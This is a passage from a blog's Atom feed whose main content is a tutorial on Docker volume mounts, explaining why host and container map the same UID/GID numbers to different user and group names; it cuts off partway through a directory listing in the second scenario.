&lt;!--
$ fusermount -u mnt     # byexample: -skip +pass
--&gt;
</content>
    <link href="https://book-of-gehn.github.io/articles/2022/02/07/Hanoi-File-System.html" rel="alternate" type="text/html" title="Hanoi File System"/>
    <category term="kernel" label="kernel"/>
    <category term="file system" label="file system"/>
    <category term="fuse" label="fuse"/>
    <published>2022-02-07T00:00:00+00:00</published>
  </entry>
  <entry>
    <id>https://book-of-gehn.github.io/articles/2022/02/01/Fix-Ownership-of-Files-in-a-Mounted-Volume.html</id>
    <title>Fix Ownership of Files in a Mounted Volume</title>
    <updated>2022-02-01T00:00:00+00:00</updated>
    <author>
      <name>Martin Di Paola</name>
    </author>
    <content type="html">&lt;p&gt;The file system of a docker container is ephemeral: it will disappear as soon as the container is destroyed.&lt;/p&gt;
&lt;p&gt;To prevent data losses you can mount a folder &lt;em&gt;of the host&lt;/em&gt; into the container that will survive the destroy of the container.&lt;/p&gt;
&lt;p&gt;But it is not uncommon to find issues with the ownership and permissions of the &lt;em&gt;shared&lt;/em&gt; files.&lt;/p&gt;
&lt;p&gt;The file system of the host represents who is the owner of each file with an user and a group numbers.&lt;/p&gt;
&lt;p&gt;Plain numbers.&lt;/p&gt;
&lt;p&gt;Humans, on the other hand, think in terms of user names: &lt;em&gt;“this is the file of Alice; this other is of Bob”&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;The mapping between the numbers that the file system uses and the names that the humans understand is stored in &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;/etc/passwd&lt;/span&gt;&lt;/code&gt; and &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;/etc/groups&lt;/span&gt;&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;And here we have a problem.&lt;/p&gt;
&lt;p&gt;These two files, &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;/etc/passwd&lt;/span&gt;&lt;/code&gt; and &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;/etc/groups&lt;/span&gt;&lt;/code&gt;, live in the host’s file system and they are used to map the files’ numbers to names when you are seeing the files &lt;em&gt;from the host&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;When you enter into the docker container (or run a command inside), the shared files, mounted with &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;-v&lt;/span&gt;&lt;/code&gt;, will have the &lt;strong&gt;same&lt;/strong&gt; file numbers.&lt;/p&gt;
&lt;p&gt;But, an here is the twist, inside the container you will be using for the mapping the &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;/etc/passwd&lt;/span&gt;&lt;/code&gt; and &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;/etc/groups&lt;/span&gt;&lt;/code&gt; files &lt;em&gt;of the container&lt;/em&gt; and not of the host.&lt;/p&gt;
&lt;p&gt;Same file numbers, different mappings.&lt;!--more--&gt;&lt;/p&gt;
&lt;h2 id="uidgid"&gt;UID/GID&lt;/h2&gt;
&lt;p&gt;Imagine the following folder in the host:&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="o"&gt;(&lt;/span&gt;host&lt;span class="o"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;$&lt;span class="w"&gt; &lt;/span&gt;ls&lt;span class="w"&gt; &lt;/span&gt;-lah&lt;span class="w"&gt; &lt;/span&gt;/home/alice/blog
drwxr-xr-x&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;12&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;alice&lt;span class="w"&gt; &lt;/span&gt;devel&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;4&lt;/span&gt;.0K&lt;span class="w"&gt; &lt;/span&gt;Jan&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;30&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;21&lt;/span&gt;:28&lt;span class="w"&gt; &lt;/span&gt;.
drwxr-xr-x&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;63&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;alice&lt;span class="w"&gt; &lt;/span&gt;devel&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;4&lt;/span&gt;.0K&lt;span class="w"&gt; &lt;/span&gt;Jan&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;30&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;21&lt;/span&gt;:25&lt;span class="w"&gt; &lt;/span&gt;..
drwxr-xr-x&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="m"&gt;2&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;alice&lt;span class="w"&gt; &lt;/span&gt;devel&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;4&lt;/span&gt;.0K&lt;span class="w"&gt; &lt;/span&gt;Jan&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;30&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;20&lt;/span&gt;:35&lt;span class="w"&gt; &lt;/span&gt;docker
drwxr-xr-x&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="m"&gt;8&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;alice&lt;span class="w"&gt; &lt;/span&gt;devel&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;4&lt;/span&gt;.0K&lt;span class="w"&gt; &lt;/span&gt;Jan&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;31&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;02&lt;/span&gt;:40&lt;span class="w"&gt; &lt;/span&gt;.git
-rw-r--r--&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="m"&gt;1&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;alice&lt;span class="w"&gt; &lt;/span&gt;devel&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="m"&gt;52&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;Jan&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;22&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;14&lt;/span&gt;:23&lt;span class="w"&gt; &lt;/span&gt;.gitignore
-rw-r--r--&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="m"&gt;1&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;alice&lt;span class="w"&gt; &lt;/span&gt;devel&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;1&lt;/span&gt;.9K&lt;span class="w"&gt; &lt;/span&gt;Jan&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;30&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;21&lt;/span&gt;:10&lt;span class="w"&gt; &lt;/span&gt;Makefile
drwxr-xr-x&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;26&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;alice&lt;span class="w"&gt; &lt;/span&gt;devel&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;4&lt;/span&gt;.0K&lt;span class="w"&gt; &lt;/span&gt;Jan&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;31&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;02&lt;/span&gt;:22&lt;span class="w"&gt; &lt;/span&gt;posts
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;All those files and folders belong to the user &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;alice&lt;/span&gt;&lt;/code&gt; and the group &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;develop&lt;/span&gt;&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;But that’s with the host’s mapping.&lt;/p&gt;
&lt;p&gt;We can see the file numbers behind running:&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="o"&gt;(&lt;/span&gt;host&lt;span class="o"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;$&lt;span class="w"&gt; &lt;/span&gt;ls&lt;span class="w"&gt; &lt;/span&gt;-lah&lt;span class="w"&gt; &lt;/span&gt;--numeric-uid-gid&lt;span class="w"&gt; &lt;/span&gt;/home/alice/blog
drwxr-xr-x&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;12&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;1001&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;1024&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;4&lt;/span&gt;.0K&lt;span class="w"&gt; &lt;/span&gt;Jan&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;30&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;21&lt;/span&gt;:28&lt;span class="w"&gt; &lt;/span&gt;.
drwxr-xr-x&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;63&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;1001&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;1024&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;4&lt;/span&gt;.0K&lt;span class="w"&gt; &lt;/span&gt;Jan&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;30&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;21&lt;/span&gt;:25&lt;span class="w"&gt; &lt;/span&gt;..
drwxr-xr-x&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="m"&gt;2&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;1001&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;1024&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;4&lt;/span&gt;.0K&lt;span class="w"&gt; &lt;/span&gt;Jan&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;30&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;20&lt;/span&gt;:35&lt;span class="w"&gt; &lt;/span&gt;docker
drwxr-xr-x&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="m"&gt;8&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;1001&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;1024&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;4&lt;/span&gt;.0K&lt;span class="w"&gt; &lt;/span&gt;Jan&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;31&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;02&lt;/span&gt;:43&lt;span class="w"&gt; &lt;/span&gt;.git
-rw-r--r--&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="m"&gt;1&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;1001&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;1024&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="m"&gt;52&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;Jan&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;22&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;14&lt;/span&gt;:23&lt;span class="w"&gt; &lt;/span&gt;.gitignore
-rw-r--r--&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="m"&gt;1&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;1001&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;1024&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;1&lt;/span&gt;.9K&lt;span class="w"&gt; &lt;/span&gt;Jan&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;30&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;21&lt;/span&gt;:10&lt;span class="w"&gt; &lt;/span&gt;Makefile
drwxr-xr-x&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;26&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;1001&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;1024&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;4&lt;/span&gt;.0K&lt;span class="w"&gt; &lt;/span&gt;Jan&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;31&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;02&lt;/span&gt;:22&lt;span class="w"&gt; &lt;/span&gt;posts
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;So, for the host user &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;alice&lt;/span&gt;&lt;/code&gt; maps to the UID &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="m"&gt;1001&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;; the same goes for the group &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;develop&lt;/span&gt;&lt;/code&gt; and the GID &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="m"&gt;1024&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Now, imagine that we run a docker container and mount that folder above&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="o"&gt;(&lt;/span&gt;host&lt;span class="o"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;$&lt;span class="w"&gt; &lt;/span&gt;docker&lt;span class="w"&gt; &lt;/span&gt;run&lt;span class="w"&gt; &lt;/span&gt;-it&lt;span class="w"&gt; &lt;/span&gt;-v&lt;span class="w"&gt; &lt;/span&gt;/home/alice/blog:/wd&lt;span class="w"&gt; &lt;/span&gt;ubuntu&lt;span class="w"&gt; &lt;/span&gt;bash
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;The host’s &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;/home/alice/blog&lt;/span&gt;&lt;/code&gt; is mounted in &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;/wd&lt;/span&gt;&lt;/code&gt; inside the container.&lt;/p&gt;
&lt;p&gt;If we list the files from &lt;em&gt;inside&lt;/em&gt; the container we will see the &lt;em&gt;same&lt;/em&gt; UIDs and GIDs&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="o"&gt;(&lt;/span&gt;container&lt;span class="o"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;$&lt;span class="w"&gt; &lt;/span&gt;ls&lt;span class="w"&gt; &lt;/span&gt;-lah&lt;span class="w"&gt; &lt;/span&gt;--numeric-uid-gid&lt;span class="w"&gt; &lt;/span&gt;/wd
drwxr-xr-x&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;12&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;1001&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;1024&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;4&lt;/span&gt;.0K&lt;span class="w"&gt; &lt;/span&gt;Jan&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;30&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;21&lt;/span&gt;:28&lt;span class="w"&gt; &lt;/span&gt;.
drwxr-xr-x&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;63&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;1001&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;1024&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;4&lt;/span&gt;.0K&lt;span class="w"&gt; &lt;/span&gt;Jan&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;30&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;21&lt;/span&gt;:25&lt;span class="w"&gt; &lt;/span&gt;..
drwxr-xr-x&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="m"&gt;2&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;1001&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;1024&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;4&lt;/span&gt;.0K&lt;span class="w"&gt; &lt;/span&gt;Jan&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;30&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;20&lt;/span&gt;:35&lt;span class="w"&gt; &lt;/span&gt;docker
drwxr-xr-x&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="m"&gt;8&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;1001&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;1024&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;4&lt;/span&gt;.0K&lt;span class="w"&gt; &lt;/span&gt;Jan&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;31&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;02&lt;/span&gt;:43&lt;span class="w"&gt; &lt;/span&gt;.git
-rw-r--r--&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="m"&gt;1&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;1001&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;1024&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="m"&gt;52&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;Jan&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;22&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;14&lt;/span&gt;:23&lt;span class="w"&gt; &lt;/span&gt;.gitignore
-rw-r--r--&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="m"&gt;1&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;1001&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;1024&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;1&lt;/span&gt;.9K&lt;span class="w"&gt; &lt;/span&gt;Jan&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;30&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;21&lt;/span&gt;:10&lt;span class="w"&gt; &lt;/span&gt;Makefile
drwxr-xr-x&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;26&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;1001&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;1024&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;4&lt;/span&gt;.0K&lt;span class="w"&gt; &lt;/span&gt;Jan&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;31&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;02&lt;/span&gt;:22&lt;span class="w"&gt; &lt;/span&gt;posts
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;But not necessary we will see the same mapping.&lt;/p&gt;
&lt;h2 id="incorrect-mapping-two-scenarios"&gt;Incorrect mapping: two scenarios&lt;/h2&gt;
&lt;p&gt;There are 2 cases.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Scenario 1&lt;/strong&gt;: there is no user/group with those IDs in the container so you will see this:&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="o"&gt;(&lt;/span&gt;container&lt;span class="o"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;$&lt;span class="w"&gt; &lt;/span&gt;ls&lt;span class="w"&gt; &lt;/span&gt;-lah&lt;span class="w"&gt; &lt;/span&gt;/wd
drwxr-xr-x&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;12&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;1001&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;1024&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;4&lt;/span&gt;.0K&lt;span class="w"&gt; &lt;/span&gt;Jan&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;30&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;21&lt;/span&gt;:28&lt;span class="w"&gt; &lt;/span&gt;.
drwxr-xr-x&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;63&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;1001&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;1024&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;4&lt;/span&gt;.0K&lt;span class="w"&gt; &lt;/span&gt;Jan&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;30&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;21&lt;/span&gt;:25&lt;span class="w"&gt; &lt;/span&gt;..
drwxr-xr-x&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="m"&gt;2&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;1001&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;1024&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;4&lt;/span&gt;.0K&lt;span class="w"&gt; &lt;/span&gt;Jan&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;30&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;20&lt;/span&gt;:35&lt;span class="w"&gt; &lt;/span&gt;docker
drwxr-xr-x&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="m"&gt;8&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;1001&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;1024&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;4&lt;/span&gt;.0K&lt;span class="w"&gt; &lt;/span&gt;Jan&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;31&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;02&lt;/span&gt;:43&lt;span class="w"&gt; &lt;/span&gt;.git
-rw-r--r--&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="m"&gt;1&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;1001&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;1024&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="m"&gt;52&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;Jan&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;22&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;14&lt;/span&gt;:23&lt;span class="w"&gt; &lt;/span&gt;.gitignore
-rw-r--r--&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="m"&gt;1&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;1001&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;1024&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;1&lt;/span&gt;.9K&lt;span class="w"&gt; &lt;/span&gt;Jan&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;30&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;21&lt;/span&gt;:10&lt;span class="w"&gt; &lt;/span&gt;Makefile
drwxr-xr-x&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;26&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;1001&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;1024&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;4&lt;/span&gt;.0K&lt;span class="w"&gt; &lt;/span&gt;Jan&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;31&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;02&lt;/span&gt;:22&lt;span class="w"&gt; &lt;/span&gt;posts
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;&lt;strong&gt;Scenario 2&lt;/strong&gt;: there is user/group in the container assigned to those IDs but they are mapped, of course, to something different than &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;alice&lt;/span&gt;&lt;/code&gt;/&lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;develop&lt;/span&gt;&lt;/code&gt;:&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="o"&gt;(&lt;/span&gt;container&lt;span class="o"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;$&lt;span class="w"&gt; &lt;/span&gt;ls&lt;span class="w"&gt; &lt;/span&gt;-lah&lt;span class="w"&gt; &lt;/span&gt;/wd
drwxr-xr-x&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;12&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;apt&lt;span class="w"&gt; &lt;/span&gt;sys&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;4&lt;/span&gt;.0K&lt;span class="w"&gt; &lt;/span&gt;Jan&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;30&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;21&lt;/span&gt;:28&lt;span class="w"&gt; &lt;/span&gt;.
drwxr-xr-x&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;63&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;apt&lt;span class="w"&gt; &lt;/span&gt;sys&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;4&lt;/span&gt;.0K&lt;span class="w"&gt; &lt;/span&gt;Jan&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;30&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;21&lt;/span&gt;:25&lt;span class="w"&gt; &lt;/span&gt;..
drwxr-xr-x&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="m"&gt;2&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;apt&lt;span class="w"&gt; &lt;/span&gt;sys&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;4&lt;/span&gt;.0K&lt;span class="w"&gt; &lt;/span&gt;Jan&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;30&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;20&lt;/span&gt;:35&lt;span class="w"&gt; &lt;/span&gt;docker
drwxr-xr-x&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="m"&gt;8&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;apt&lt;span class="w"&gt; &lt;/span&gt;sys&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;4&lt;/span&gt;.0K&lt;span class="w"&gt; &lt;/span&gt;Jan&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;31&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;02&lt;/span&gt;:43&lt;span class="w"&gt; &lt;/span&gt;.git
